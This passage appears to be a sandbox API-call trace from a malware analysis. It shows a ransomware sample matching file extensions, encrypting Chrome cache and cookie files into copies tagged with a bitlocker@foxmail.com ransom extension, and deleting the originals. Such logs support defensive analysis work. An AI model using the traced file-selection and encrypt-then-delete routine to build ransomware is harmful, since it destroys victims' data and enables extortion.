lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0174.948] lstrlenW (lpString=".ppt") returned 4 [0174.948] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.948] lstrlenW (lpString=".zip") returned 4 [0174.948] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.948] lstrlenW (lpString=".rar") returned 4 [0174.948] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.948] lstrlenW (lpString=".bz2") returned 4 [0174.948] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.948] lstrlenW (lpString=".7z") returned 3 [0174.948] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.948] lstrlenW (lpString=".dbf") returned 4 [0174.948] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.948] lstrlenW (lpString=".1cd") returned 4 [0174.948] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.948] lstrlenW (lpString=".jpg") returned 4 [0174.948] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.948] lstrlenW (lpString=".doc") returned 4 [0174.948] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0174.948] lstrlenW (lpString=".docx") returned 5 [0174.948] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0174.948] lstrlenW (lpString=".pdf") returned 4 [0174.949] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0174.949] lstrlenW (lpString=".xls") returned 4 [0174.949] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0174.949] lstrlenW (lpString=".xlsx") returned 5 [0174.949] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0174.949] lstrlenW (lpString=".ppt") returned 4 [0174.949] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0174.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.949] lstrlenW (lpString=".zip") returned 4 [0174.949] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0174.949] lstrlenW (lpString=".rar") returned 4 [0174.949] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0174.949] lstrlenW (lpString=".bz2") returned 4 [0174.949] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0174.949] lstrlenW (lpString=".7z") returned 3 [0174.949] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0174.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.949] lstrlenW (lpString=".dbf") returned 4 [0174.949] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0174.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.949] lstrlenW (lpString=".1cd") returned 4 [0174.949] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0174.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe") returned 160 [0174.949] lstrlenW (lpString=".jpg") returned 4 [0174.949] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.949] lstrlenW (lpString="metadata") returned 8 [0174.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.950] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0174.950] CloseHandle (hObject=0x320) returned 1 [0174.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.950] lstrlenW (lpString=".doc") returned 4 [0174.950] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0174.950] lstrlenW (lpString=".docx") returned 5 [0174.950] lstrcmpiW (lpString1=".docx", lpString2="adata") returned -1 [0174.950] lstrlenW (lpString=".pdf") returned 4 [0174.950] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0174.950] lstrlenW (lpString=".xls") returned 4 [0174.950] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0174.950] lstrlenW (lpString=".xlsx") returned 5 [0174.950] lstrcmpiW (lpString1=".xlsx", lpString2="adata") returned -1 [0174.950] lstrlenW (lpString=".ppt") returned 4 [0174.950] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0174.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.951] lstrlenW (lpString=".zip") returned 4 [0174.951] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0174.951] lstrlenW (lpString=".rar") returned 4 [0174.951] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0174.951] lstrlenW (lpString=".bz2") returned 4 [0174.951] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0174.951] lstrlenW (lpString=".7z") returned 3 [0174.951] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0174.951] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.951] lstrlenW (lpString=".dbf") returned 4 [0174.951] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0174.951] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.951] lstrlenW (lpString=".1cd") returned 4 [0174.951] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0174.951] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.951] lstrlenW (lpString=".jpg") returned 4 [0174.951] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0174.951] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.951] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.951] lstrlenW (lpString=".doc") returned 4 [0174.951] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0174.951] lstrlenW (lpString=".docx") returned 5 [0174.951] lstrcmpiW (lpString1=".docx", lpString2="adata") returned -1 [0174.951] lstrlenW (lpString=".pdf") returned 4 [0174.951] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0174.951] lstrlenW (lpString=".xls") returned 4 [0174.951] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0174.951] lstrlenW (lpString=".xlsx") returned 5 [0174.951] lstrcmpiW (lpString1=".xlsx", lpString2="adata") returned -1 [0174.951] lstrlenW (lpString=".ppt") returned 4 [0174.951] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0174.952] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.952] lstrlenW (lpString=".zip") returned 4 [0174.952] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0174.952] lstrlenW (lpString=".rar") returned 4 [0174.952] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0174.952] lstrlenW (lpString=".bz2") returned 4 [0174.952] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0174.952] lstrlenW (lpString=".7z") returned 3 [0174.952] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0174.952] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.952] lstrlenW (lpString=".dbf") returned 4 [0174.952] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0174.952] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.952] lstrlenW (lpString=".1cd") returned 4 [0174.952] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0174.952] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 85 [0174.952] lstrlenW (lpString=".jpg") returned 4 [0174.952] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0174.952] lstrlenW (lpString="data_0") returned 6 [0174.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.477] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=45056) returned 1 [0176.477] CloseHandle (hObject=0x19c) returned 1 [0176.477] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0")) returned 0x2020 [0176.477] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0176.816] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.817] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0176.849] GetLastError () returned 0x0 [0176.849] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0xb000, lpOverlapped=0x0) returned 1 [0177.148] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xb010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xb010, lpOverlapped=0x0) returned 1 [0177.150] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.150] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.150] SetEndOfFile (hFile=0x198) returned 1 [0177.150] CloseHandle (hObject=0x198) returned 1 [0177.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.150] SetEndOfFile (hFile=0x124) returned 1 [0177.151] CloseHandle (hObject=0x124) returned 1 [0177.152] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.152] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0")) returned 1 [0177.152] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.152] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.152] lstrlenW (lpString=".doc") returned 4 [0177.152] lstrcmpiW (lpString1=".doc", lpString2="ta_0") returned -1 [0177.152] lstrlenW (lpString=".docx") returned 5 [0177.152] lstrcmpiW (lpString1=".docx", lpString2="ata_0") returned -1 [0177.152] lstrlenW (lpString=".pdf") returned 4 [0177.152] lstrcmpiW (lpString1=".pdf", lpString2="ta_0") returned -1 [0177.152] lstrlenW (lpString=".xls") returned 4 [0177.152] lstrcmpiW (lpString1=".xls", lpString2="ta_0") returned -1 [0177.152] lstrlenW (lpString=".xlsx") returned 5 [0177.152] lstrcmpiW (lpString1=".xlsx", lpString2="ata_0") returned -1 [0177.152] lstrlenW (lpString=".ppt") returned 4 [0177.152] lstrcmpiW (lpString1=".ppt", lpString2="ta_0") returned -1 [0177.152] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.152] lstrlenW (lpString=".zip") returned 4 [0177.153] lstrcmpiW (lpString1=".zip", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString=".rar") returned 4 [0177.153] lstrcmpiW (lpString1=".rar", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString=".bz2") returned 4 [0177.153] lstrcmpiW (lpString1=".bz2", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString=".7z") returned 3 [0177.153] lstrcmpiW (lpString1=".7z", lpString2="a_0") returned -1 [0177.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.153] lstrlenW (lpString=".dbf") returned 4 [0177.153] lstrcmpiW (lpString1=".dbf", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.153] lstrlenW (lpString=".1cd") returned 4 [0177.153] lstrcmpiW (lpString1=".1cd", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.153] lstrlenW (lpString=".jpg") returned 4 [0177.153] lstrcmpiW (lpString1=".jpg", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.153] lstrlenW (lpString=".doc") returned 4 [0177.153] lstrcmpiW (lpString1=".doc", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString=".docx") returned 5 [0177.153] lstrcmpiW (lpString1=".docx", lpString2="ata_0") returned -1 [0177.153] lstrlenW (lpString=".pdf") returned 4 [0177.153] lstrcmpiW (lpString1=".pdf", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString=".xls") returned 4 [0177.153] lstrcmpiW (lpString1=".xls", lpString2="ta_0") returned -1 [0177.153] lstrlenW (lpString=".xlsx") returned 5 [0177.153] lstrcmpiW (lpString1=".xlsx", lpString2="ata_0") returned -1 [0177.153] lstrlenW (lpString=".ppt") returned 4 [0177.154] lstrcmpiW (lpString1=".ppt", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.154] lstrlenW (lpString=".zip") returned 4 [0177.154] lstrcmpiW (lpString1=".zip", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString=".rar") returned 4 [0177.154] lstrcmpiW (lpString1=".rar", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString=".bz2") returned 4 [0177.154] lstrcmpiW (lpString1=".bz2", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString=".7z") returned 3 [0177.154] lstrcmpiW (lpString1=".7z", lpString2="a_0") returned -1 [0177.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.154] lstrlenW (lpString=".dbf") returned 4 [0177.154] lstrcmpiW (lpString1=".dbf", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.154] lstrlenW (lpString=".1cd") returned 4 [0177.154] lstrcmpiW (lpString1=".1cd", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 88 [0177.154] lstrlenW (lpString=".jpg") returned 4 [0177.154] lstrcmpiW (lpString1=".jpg", lpString2="ta_0") returned -1 [0177.154] lstrlenW (lpString="Cookies") returned 7 [0177.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.155] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=7168) returned 1 [0177.155] CloseHandle (hObject=0x124) returned 1 [0177.155] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 0x2020 [0177.155] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0177.156] GetLastError () returned 0x0 [0177.156] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x1c00, lpOverlapped=0x0) returned 1 [0177.157] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0177.158] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.158] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0177.158] SetEndOfFile (hFile=0x198) returned 1 [0177.159] CloseHandle (hObject=0x198) returned 1 [0177.159] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.159] SetEndOfFile (hFile=0x124) returned 1 [0177.159] CloseHandle (hObject=0x124) returned 1 [0177.159] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.160] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 1 [0177.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.160] lstrlenW (lpString=".doc") returned 4 [0177.160] lstrcmpiW (lpString1=".doc", lpString2="kies") returned -1 [0177.160] lstrlenW (lpString=".docx") returned 5 [0177.160] lstrcmpiW (lpString1=".docx", lpString2="okies") returned -1 [0177.160] lstrlenW (lpString=".pdf") returned 4 [0177.160] lstrcmpiW (lpString1=".pdf", lpString2="kies") returned -1 [0177.160] lstrlenW (lpString=".xls") returned 4 [0177.160] lstrcmpiW (lpString1=".xls", lpString2="kies") returned -1 [0177.160] lstrlenW (lpString=".xlsx") returned 5 [0177.160] lstrcmpiW (lpString1=".xlsx", lpString2="okies") returned -1 [0177.160] lstrlenW (lpString=".ppt") returned 4 [0177.160] lstrcmpiW (lpString1=".ppt", lpString2="kies") returned -1 [0177.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.160] lstrlenW (lpString=".zip") returned 4 [0177.160] lstrcmpiW (lpString1=".zip", lpString2="kies") returned -1 [0177.160] lstrlenW (lpString=".rar") returned 4 [0177.160] lstrcmpiW (lpString1=".rar", lpString2="kies") returned -1 [0177.160] lstrlenW (lpString=".bz2") returned 4 [0177.160] lstrcmpiW (lpString1=".bz2", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString=".7z") returned 3 [0177.161] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0177.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.161] lstrlenW (lpString=".dbf") returned 4 [0177.161] lstrcmpiW (lpString1=".dbf", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.161] lstrlenW (lpString=".1cd") returned 4 [0177.161] lstrcmpiW (lpString1=".1cd", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.161] lstrlenW (lpString=".jpg") returned 4 